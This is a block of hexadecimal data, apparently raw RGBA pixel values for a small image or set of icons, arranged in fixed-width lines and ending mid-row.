C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2
C2FFC2C2C2FFC2C2C1FFC0C0C0FFFFFFFFFFDADADAFFBFBFC0FFC0C0C0FFC0C0
C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBF
BFFFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFF8494A9FFA5B9FDFFA8E2B1FF13C0
00FF20C205FF20C205FF20C205FF20C205FF20C205FF20C205FF20C205FF1EC2
05FF1FC205FF1EC304FF1EC802FF528748FF202121FF010405FF010406FF0004
06FF010000FF01C0C1FF01FFFFFF01FFFFFF01FFFFFF01FFFFFF04C4FFFF0144
FFFF004FFFFF024EFFFF0150FFFF485F9FFF3D2D97FF3516D5FF3416D1FF3417
D2FF3517D1FF3313CDFF2E0CC3FF2F0AC1FF2F0AC1FF300EC5FF3415CFFF3417
D1FF3417D2FF3316D1FF3517D8FF584E8AFF609521FF72CA03FF71C604FF70C6
05FF72C506FF74CD00FF5079FEFF527DF2FF527DF1FF527DF1FF527DF1FF5280
F1FF5280F1FF5180F2FF5383FAFF617293FF838DAFFF8894EFFF8FC3A8FF0FAE
00FF1BB00BFF1BB00BFF1BB00BFF1BB00BFF1BB00BFF1BB00BFF1BB00BFF1BB0
0BFF1AB009FF19B009FF17B307FF4E8646FF212323FF060909FF080B0CFF090D
0EFF080000FF0AB8B9FF0AFFFFFF0AFFFFFF0AFFFFFF09FFFFFF0CBAFFFF0840
FFFF094BFFFF0649FFFF0647FFFF495E9FFF754A20FF944600FF924700FF9248
00FF8C3E00FFA15C14FFE6C59EFFDADAB1FFDCD7AEFFD4AE7DFF954600FF8F43
00FF924700FF914600FF944700FF775F47FF5C8B22FF66AD08FF66AB0AFF67AC
0BFF67AC0CFF6BB300FF4754F7FF4959EAFF495AE9FF495AE9FF495AE9FF495A
E9FF4859E9FF4757E9FF4658F0FF5E6998FF898EAFFF878BEFFF8CBCA9FF0AA6
00FF14A80DFF14A80DFF16A80DFF16A80DFF16A80DFF16A80DFF14A80DFF14A8
0DFF15A80CFF12A80AFF11AB06FF4D8148FF232424FF080A0AFF0B0D0DFF0C0F
0FFF0D0000FF0DB7B8FF0DFFFFFF0DFFFFFF0DFFFFFF0CFFFFFF0FB7FFFF0D3B
FFFF0C44FFFF0A44FFFF0842FFFF495B9DFF714723FF8D4508FF8C460BFF863C
00FFBF906CFFD8EDEEFFA0C7B0FFBCC5B4FFBEC6BAFF9ACAACFFD3E8DFFFA05D
2CFF894106FF8C450AFF8D4408FF745D49FF578024FF5F9E09FF609E0CFF619D
0DFF609F0EFF63A800FF3E38F5FF403DE9FF403EE8FF403EE8FF403EE9FF403E
E9FF413DE9FF3E3CE9FF3E3AEFFF5C5C96FF6666A8FF615FE9FF99C5A7FF04A2
00FF10A503FF10A504FF10A504FF10A504FF10A504FF10A504FF10A504FF10A5
03FF0FA403FF0FA401FF0CA900FF4A8048FF232424FF090A0AFF0C0D0DFF0E0F
0FFF0D0000FF0FB7B7FF0FFFFFFF0FFFFFFF0FFFFFFF0EFFFFFF11B5FFFF0D35
FFFF0E3FFFFF0C3DFFFF093DFFFF495A9DFF724724FF8C4409FF8A4307FFA363
33FFBADFD0FFB0D6B6FFCDC0B5FF8BCBB7FF9EC3B0FFBABFAAFFA3CBAEFFE5EE
EBFF883E02FF8B440AFF8F4509FF755D49FF537423FF5A9209FF59900CFF5C92
0EFF5B910FFF5E9C00FF3820F7FF3A27EAFF3A27EAFF3A27EAFF3A26E8FF3A26
E8FF3925E9FF3824E9FF3622EFFF585396FF6565A8FF5454DFFF8580ECFF0300
DFFF0E01E2FF1002E2FF0F02E2FF0F02E2FF0F02E2FF0F02E2FF1002E2FF0E01
E1FF0D00E1FF0B00E1FF0800E6FF494793FF242424FF0A0A0AFF0D0D0DFF0D0D
0DFF0F0000FF10B7B7FF10FFFFFF10FFFFFF10FFFFFF0FFFFFFF12B4FFFF0E32
FFFF0E3CFFFF0C3AFFFF093AFFFF4A5A9DFF724A25FF8D450AFF863B00FFD6C5
B1FFB6D2C2FFB7DACAFF71C196FF8A965CFF8B9E56FF8AC6ADFFF7F2FBFFA0CA
B1FFC29574FF883F03FF8E4509FF755D49FF527125FF578D0AFF578C0DFF588D
0DFF598D0EFF5D9700FF3616F6FF381DEAFF381DEAFF381DEAFF391DEAFF371C
EAFF361BE9FF3619E9FF3316F0FF584E96FF7373ABFF6F6FE5FF8989E5FF0404
CCFF1010D0FF1010D0FF1010D0FF1010D0FF1010D0FF1010D0FF1010D0FF0F0F
CEFF0E0ECFFF0C0CCFFF0909D4FF49498DFF252525FF0C0C0CFF0D0D0DFF0E0E
0EFF100000FF10B7B7FF10FFFFFF10FFFFFF10FFFFFF0FFFFFFF12B4FFFF0E32
FFFF0E3DFFFF0C3BFFFF093AFFFF4A5A9DFF724A24FF914A0CFF883B00FFC1D1
C3FFE2EFE3FFFFFFFFFFF4ECF1FFE0D0C7FF55C3E0FFFCF2F1FFFFFFFFFFB6D4
C3FFCCBA9FFF873C00FF8E4509FF755D49FF537224FF5C910CFF598D0DFF578D
0EFF5A8E10FF5D9800FF3709F0FF390FE2FF390FE1FF390FE1FF390FE1FF390F
E1FF380EE1FF360CE0FF3609EBFF584A96FF7474ABFF6D6DE6FF8B8BE8FF0606
CDFF0F0FCFFF0F0FCFFF0F0FCFFF1010D0FF1010D0FF1010D0FF1010D0FF0F0F
CEFF0E0ECFFF0C0CCFFF0909D4FF49498DFF242424FF0E0E0EFF111111FF1111
11FF0F0000FF0FB7B7FF0FFFFFFF10FFFFFF10FFFFFF0FFFFFFF12B4FFFF0E32
FFFF0E3DFFFF0C3BFFFF093AFFFF4A5A9DFF724A25FF954E0EFF8E4301FFC5D2
C5FFE1F0DEFFC1D3ECFF89AAD2FFBAC3DAFF7ACBE9FF7984A2FFE9E6EEFFB7D7
C2FFC3B296FF883D00FF8E4509FF755D49FF557225FF5F950EFF5F9311FF5F92
11FF598C0FFF5E8500FF1CE4FBFF20E0F9FF20E0F8FF20E0F8FF20E0F8FF20E0
F8FF1FE0F8FF1DE1F8FF1BEAFFFF4F949EFF6262A8FF5959E2FF8686E7FF0909
D1FF1515D3FF1414D2FF1111D0FF0E0ECFFF0F0FCFFF0F0FCFFF0F0FCFFF0E0E
CEFF0D0DCEFF0B0BCEFF0909D3FF49498DFF242424FF0F0F0FFF121212FF1414
14FF150606FF14B9B9FF11FFFFFF0EFFFFFF0FFFFFFF0EFFFFFF12B4FFFF0D31
FFFF0D3BFFFF0B39FFFF0A3AFFFF495A9DFF754B25FF96510FFF904805FFCDC1
A4FFABC6B8FF6594D5FF83C9E4FF59877AFF56B662FF222E80FF8D9BBBFF9AC9
A8FFBF906DFF873E03FF8F4609FF755D49FF567525FF62960FFF639412FF6496
14FF649615FF668C00FF22D9FFFF20D3FCFF21D3FCFF21D3FCFF21D3FCFF21D3
FCFF20D3FCFF1ED2FCFF1DD9FFFF508F9DFF6B6BABFF6A6AE7FF9F9FECFF0A0A
D1FF1717D4FF1717D4FF1717D4FF1717D4FF1616D4FF1515D3FF1515D3FF1515
D1FF1414D3FF1212D3FF0F0FD9FF49498DFF252525FF101010FF131313FF1616
16FF170808FF17BABAFF17FFFFFF17FFFFFF16FFFFFF15FFFFFF17B8FFFF153E
FFFF1449FFFF124AFFFF104CFFFF4A5B9DFF754C26FF9A5410FF96520EFFA868
32FFBEE3D3FFE1EAE1FF5CA37BFF70B189FF399370FF81AA9AFFC2E1C3FFE2E9
E5FF914805FF975411FF9D570FFF765F49FF567526FF659A10FF669813FF6799
16FF689917FF6D9101FF2DDCFFFF32D8FCFF2FD8FCFF2ED7FCFF2DD7FCFF2DD7
FCFF2DD7FCFF2CD8FCFF2CDDFFFF518F9DFF8686B0FF8C8CEBFF9090E9FF0909
D3FF1616D5FF1717D5FF1717D5FF1717D5FF1717D5FF1717D5FF1717D5FF1616
D5FF1515D5FF1313D5FF0F0FDAFF49498DFF242424FF101010FF131313FF1515
15FF170808FF17BABAFF17FFFFFF17FFFFFF17FFFFFF17FFFFFF1BBBFFFF1644
FFFF154EFFFF134CFFFF0F4DFFFF495A9CFF774C25FF9C5710FF9A5813FF9551
0AFFB68854FFB6DDCAFFB3D7BEFF9FCDB2FFA6D0B8FFB9DBC6FFD5E6DAFFA665
29FF975610FF9A5713FF9D590FFF755F49FF577725FF699C10FF689A13FF6999
15FF689B16FF6F9502FF2EDCFFFF31D9FCFF32D9FCFF32D9FCFF32D9FCFF32D9
FCFF31D9FCFF2FD9FCFF2DDEFFFF508F9DFF8282AFFF8787EDFF8A8AE9FF0505
D3FF1111D6FF1111D6FF1111D6FF1111D6FF1111D6FF1111D6FF1111D6FF1111
D6FF1010D5FF0E0ED5FF0A0ADCFF47478DFF222222FF0B0B0BFF0E0E0EFF1010
10FF110202FF11B9B9FF11FFFFFF11FFFFFF11FFFFFF11FFFFFF14BBFFFF1144
FFFF104DFFFF0E4CFFFF0A4EFFFF48589BFF7A4F1FFFA35C00FFA25A01FFA15B
03FF9D5400FFAD6512FFD1B47CFFDBD2A6FFEBD6B2FFCFA76CFF9F5400FF9F58
00FFA25B03FFA05A01FFA45D00FF785F46FF577523FF699C0BFF699C0EFF6A9B
10FF699B11FF6F9500FF2BDEFFFF30DAFDFF30DAFCFF30DAFCFF30DAFCFF2ED9
FCFF2FD9FCFF2DD9FCFF2BE0FFFF508E9CFF8C8CB5FFB1B1F4FFAFAFF2FF2828
DAFF3333DCFF3333DCFF3333DCFF3333DCFF3333DCFF3333DCFF3333DCFF3333
DCFF3333DCFF3131DCFF3232E0FF55559AFF2F2F2FFF323232FF303030FF3131
31FF322424FF32C5C5FF32FFFFFF32FFFFFF32FFFFFF32FFFFFF34C4FFFF3257
FFFF3161FFFF3060FFFF3062FFFF5565ACFF4A3C9AFF644CCBFF6149C9FF624B
C8FF624AC8FF6148C7FF5E42BFFF5E40BBFF5C40BAFF5E44C0FF624AC9FF624A
C8FF624BC8FF614AC9FF624BCCFF655C95FF5D7B2FFF80AB33FF7AA731FF7CA8
33FF7CA833FF83A21FFF47E3FFFF49E0FFFF49E0FEFF49E0FEFF49E0FEFF4AE0
FEFF4AE0FEFF49DFFEFF4AE3FFFF5D9DACFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDCDCDCFFC2C2C2FFC2C2C2FFC2C2
C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2
C2FFC2C2C2FFC1C1C2FFC0C0C0FFFFFFFFFFDCDCDCFFC1C1C1FFC1C1C1FFC2C2
C2FFC1C1C2FFC2C1C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2
C2FFC2C2C2FFC2C2C1FFC0C0C0FFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0
C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFF585850FFC4B459FFF5DE56FFE9D2
57FFE6CF57FFE6CF57FFE6CF57FFE6CF57FFE6CF57FFE6CF57FFE6CF57FFE6CF
57FFE7D057FFE6D157FFEFD75AFF918B65FFB7BCBCFFFFFFFFFFFFFFFFFFFFFF
FFFFF6F8FFFF9A92FFFF3729F6FF2515F3FF2717F3FF2717F3FF2717F3FF2717
F4FF2818F4FF2817F5FF2819FDFF534E96FF4D7350FF539553FF519253FF5293
52FF529254FF529254FF529254FF529252FF529252FF529254FF529254FF5292
54FF529352FF519253FF549554FF607564FF73601FFF986F04FF946E04FF956E
05FF9A6700FF57C3C0FF40E7FFFF43E4FFFF43E4FFFF3FE9FFFF67AD8FFF9969
00FF956E05FF946E04FF987002FF756D48FF404041FF2E303AFF57533CFFCAB5
3DFFE3CA3DFFD7C03DFFD6BF3DFFD6BF3DFFD6BF3DFFD6BF3DFFD6BF3DFFD6BF
3DFFD6BE3BFFD6BE3CFFDBC43AFF91895BFFBBBDBDFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFD4D2F8FF7066E9FF2717DDFF2D1EDFFF2D1EDFFF2D1EDFFF2D1D
DFFF2C1CDFFF2B1BDFFF2B19E5FF554F94FF4F6E43FF538337FF538339FF5484
3AFF548439FF548534FF558828FF558630FF55862EFF558829FF548535FF5484
3AFF54843AFF538339FF538537FF61735BFF735323FF8D5606FF8C5609FF8D57
0BFF924E00FF52ADB8FF39D8FFFF3CD4FFFF3CD4FFFF37DAFFFF5E988BFF9150
00FF8D5709FF8C5609FF8F5507FF786648FF333333FF242424FF212125FF1619
26FF665B27FFD9BE27FFDBBF27FFD2B726FFD2B726FFD2B726FFD2B726FFD2B7
26FFD2B725FFD1B624FFD8BA21FF8E8553FFB9BBBBFFFFFFFFFFFFFFFFFFFFFF
FFFF9991ECFF1B09D5FF1F0DD5FF301FD9FF301FD9FF301FD9FF301FD9FF301E
D9FF2F1ED9FF2D1CD7FF2C19DEFF554F91FF4F6733FF537921FF547824FF557A
25FF557C1CFF547146FF4A4ADDFF473CFFFF483DFFFF4B4CD4FF53753AFF557B
1DFF557A25FF547923FF547922FF627052FF6F4723FF8A4309FF88440BFF8A45
0DFF8F3C00FF4EA6B7FF35D4FFFF38D3FFFF38D1FFFF34D6FFFF598D8AFF8E3E
02FF8A460DFF89430BFF8B4207FF745F49FF282828FF111111FF121212FF1313
13FF0D0E14FF0C0C14FF837013FFDBC41FFFD3B615FFD1B00EFFD1B00EFFD1B0
0EFFD0B00CFFD0AE0CFFD5B30AFF8D824AFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF9086E7FF2814D0FF311DD2FF311DD2FF311DD2FF311E
D2FF301DD2FF2F1BD2FF2D18D8FF554E8DFF4F6228FF54720FFF557312FF5673
0EFF536A38FF4932FFFF4A38F9FF4B39F5FF4B39F5FF4A37FAFF4933FFFF556D
26FF567310FF537111FF537210FF626D4DFF6D3D24FF863409FF87340CFF8635
0EFF8D2D00FF499FB7FF30D5FFFF2BA8CEFF30BDEAFF2ED5FFFF57848CFF8C2F
01FF86350EFF85350CFF883309FF735849FF232323FF080808FF0C0C0CFF0C0C
0CFF0D0D0DFF0E0E0FFF04040BFF061D2FFF33BADDFF44FAFFFF3FE9FFFF3EE6
FFFF3FE6FFFF3CE6FFFF3CECFFFF5A93A2FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFF9E94E8FF2A17CFFF200CCDFF321FD0FF321FD0FF321FD0FF321FD0FF301E
D0FF311DD0FF2F1BCFFF2D18D6FF554E8CFF516024FF556F08FF546E0CFF5674
00FF4B3CD9FF4A34F9FF4B35F5FF4B35F5FF4B35F5FF4B35F5FF4A33FCFF4C42
C0FF567300FF556E0BFF556F07FF626A49FF6D3A25FF852D0AFF842E0DFF8530
0DFF8C2500FF479EBAFF2DCAFEFF1E6379FF2383A2FF2DD1FFFF54808CFF8B28
03FF85300EFF842E0CFF872C09FF73564AFF252525FF0C0C0CFF0D0D0DFF0E0E
0EFF101010FF101010FF101010FF0E0C0CFF080000FF1A373CFF44C7DBFF4CE5
FDFF4BE2FAFF49E2FAFF48E7FFFF5E929AFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFC2BCF1FF6356DBFF2B18CFFF321FD1FF321FD1FF321FD1FF301E
D1FF311DD1FF2F1BD1FF2D18D6FF564E8DFF526224FF59740CFF56700CFF5672
05FF492EFFFF4B36F5FF4B36F5FF4B36F5FF4B36F5FF4B36F5FF4B35F5FF4930
FFFF577500FF556F0CFF557009FF626B49FF6E3A24FF8B310CFF86310DFF842F
0EFF8C2700FF48A4C1FF2085A6FF1D5769FF1C5162FF26AFDDFF568491FF8B28
03FF86310EFF852F0CFF872C09FF73564AFF242424FF0E0E0EFF111111FF1111
11FF0F0F0FFF0F0F0FFF0F0F0FFF0E0B0BFF080000FF204950FF46D2E7FF4CE4
FCFF4BE2FAFF48E2FAFF48E7FFFF5E929AFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFAF9FCFFAAA2EAFF4E3DD6FF2E1BCFFF321FD1FF321FD1FF321FD1FF301E
D1FF311DD1FF2F1BD1FF2C18D6FF564E8DFF526325FF5C770EFF5D7610FF5C78
06FF492EFFFF4934F5FF4A35F5FF4A35F5FF4B36F5FF4B36F5FF4B35F6FF4931
FFFF577500FF556F0CFF547009FF626B49FF6F3B25FF8C360EFF8C3811FF8B36
11FF8B2700FF48A7C6FF1B5F76FF2691B4FF2CAFD9FF1A6785FF568997FF8B28
03FF86310EFF852F0CFF872C09FF73564AFF242424FF0F0F0FFF121212FF1414
14FF151515FF121214FF04030CFF0A293DFF37C9EDFF44F7FFFF3FE7FFFF3EE5
FFFF3EE5FFFF3CE5FFFF3EEBFFFF5A94A2FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFADA4ECFF4836D6FF2610CEFF311DD0FF301DD0FF301DD0FF301DD0FF2F1C
D0FF2F1BD0FF2D19CEFF2E18D6FF554F8DFF536425FF5F7A0FFF607912FF6280
02FF574AD4FF513CFBFF4E38F4FF4A35F4FF4934F5FF4934F5FF4932FEFF4B44
B7FF557300FF536D0BFF556F09FF626B49FF703D25FF90390FFF8D3B12FF8F3C
14FF953407FF4D96AAFF2483A0FF1E6881FF2693B7FF1A6F8CFF55828FFF8A28
03FF842F0DFF832D0BFF882C09FF73564AFF252525FF101010FF131313FF1516
16FF0C0E17FF121417FF968317FFE9C815FFDEB707FFDCB100FFDCB100FFDCB1
00FFDCB100FFDCB100FFE3B700FF8E8048FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF998FE8FF3823D4FF3E2AD5FF3C28D5FF3B28D3FF3B27
D3FF3C27D5FF3C26D5FF3E26DCFF564F8DFF556526FF627D10FF637C13FF6480
11FF627730FF583DFFFF5942FDFF5944F6FF5843F5FF563FFDFF543BFFFF6078
1EFF617B11FF637B12FF65800FFF636D49FF703F26FF913C10FF913E13FF923F
16FF973408FF54A7BDFF3EDCFFFF3DC4EEFF3ED3FFFF39DEFFFF60888FFF9333
09FF8F3C14FF903C12FF943E0FFF73574AFF242424FF101010FF0C0D13FF0406
15FF6B6017FFE0C417FFDABF17FFD3B917FFD3B917FFD3B917FFD3B917FFD3B9
16FFD3B915FFD3B813FFD8BD0FFF8B8149FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFF9F94EBFF2208D0FF331BD3FF422CD7FF422CD7FF422CD7FF422CD7FF422C
D7FF412BD7FF4029D5FF3F26DCFF564F8DFF566525FF668110FF668013FF6781
15FF67820DFF667A2BFF5E52C6FF5A42FFFF5A42FFFF5E56BCFF667D20FF6782
0FFF678115FF658013FF67830FFF636D49FF703F25FF943F10FF934013FF9441
15FF993806FF56A6BCFF3FD5FFFF42D2FFFF42D1FFFF3ED7FFFF648C91FF983B
0AFF934115FF933F13FF953F0FFF73574AFF1F1F22FF00000BFF443D0EFFCFB6
10FFE0C311FFD5BA11FFD4BA11FFD4BA11FFD4BA11FFD4BA11FFD4BA11FFD4B8
11FFD4B910FFD3B90EFFDABF0AFF8A8048FFB8B8B8FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFEEEDFBFF8C7CE7FF3921D5FF412AD7FF4028D7FF4028D7FF4029
D7FF4028D7FF3F25D7FF4024DEFF554E8CFF566623FF67830BFF65810EFF6682
10FF668211FF67830CFF688601FF688700FF688700FF688602FF67830EFF6682
11FF668210FF66810EFF68850AFF626B47FF703D23FF963F0BFF933F0EFF9440
10FF993601FF55A7BCFF3DD6FFFF40D2FFFF40D2FFFF3CD9FFFF648D8FFF9838
05FF944010FF933F0EFF97400AFF735547FF3E3C30FFBCA932FFEAD030FFDBC5
31FFD8C232FFD8C232FFD8C232FFD8C232FFD8C232FFD8C232FFD8C232FFD8C2
32FFD8C231FFD9C130FFDDC530FF998F55FFBFBFBFFFFFFFFFFFFFFFFFFFFFFF
FFFFE2DFFBFF988EEAFF5845DDFF5642DDFF5743DDFF5743DDFF5743DDFF5743
DDFF5642DDFF5541DDFF5643E1FF615B9AFF5C6B30FF7C9333FF779131FF7991
33FF799133FF799133FF799133FF799133FF799133FF799133FF799133FF7991
33FF799133FF789131FF7A9332FF6F7855FF76452FFFA55B33FFA15831FFA258
33FFA65125FF6BB6CAFF57DBFFFF59D8FFFF59D8FFFF56DDFFFF799DA2FFA553
28FFA25833FFA15831FFA45932FF816155FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDBDBDBFFC2C2C2FFC1C1C1FFC1C1
C2FFC3C3C3FFC3C3C3FFC3C3C3FFC3C3C3FFC3C3C3FFC3C3C3FFC3C3C3FFC3C3
C3FFC1C1C2FFC3C3C3FFC1C1C1FFFFFFFFFFDCDCDCFFBFBFC0FFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDCDCDCFFC2C2C1FFC2C2C2FFC2C2
C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2
C2FFC2C2C2FFC2C2C1FFC0C0C0FFFFFFFFFFDCDCDCFFC1C1C2FFC2C1C2FFC2C2
C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2
C2FFC2C2C2FFC2C1C2FFC0C0C0FFFFFFFFFF997B41FFDAA83EFFD6A53DFFD6A5
3CFFD6A43EFFD6A43DFFD7A63DFFD7A63DFFD7A63DFFD7A63DFFD7A63DFFD7A4
3EFFD6A53DFFD6A53DFFDCAA3DFF8B7A5BFFA16B21FFDD7C01FFDA7B02FFD97C
03FFD97C02FFD97C02FFD97C02FFD97C02FFD97C02FFD97C02FFD97C02FFD97C
02FFD97C03FFDA7B02FFDE7D00FF947547FF2872B4FF1194FFFF0F90FFFF0F91
FFFF0F91FFFF0E91FFFF0E91FFFF0E91FFFF0E91FFFF0E91FFFF0E91FFFF0F91
FFFF0F90FFFF0E91FFFF1196FFFF4C759AFF5C9D6BFF6FE58BFF6CE087FF6BDF
88FF6BDF88FF6BDF88FF6BDF88FF6BDF88FF6BDF88FF6BDF88FF6BDF88FF6BDF
88FF6BDF88FF6CE088FF70E88CFF698D73FF9D8040FFD29F38FFD09E39FFCF9F
3AFFCF9F3AFFCF9F3CFFD0A03BFFD0A03BFFD0A03BFFD0A03BFFD0A03BFFCF9F
3CFFCF9E3AFFD09E38FFD4A139FF8E7D5BFF925524FFB95005FFB85208FFB851
09FFB8530AFFB8530AFFB8530AFFB8530AFFB8530AFFB8530AFFB8530AFFB853
0AFFB85109FFB85008FFBA5005FF916948FF2A5DB2FF1268F0FF1469ECFF1568
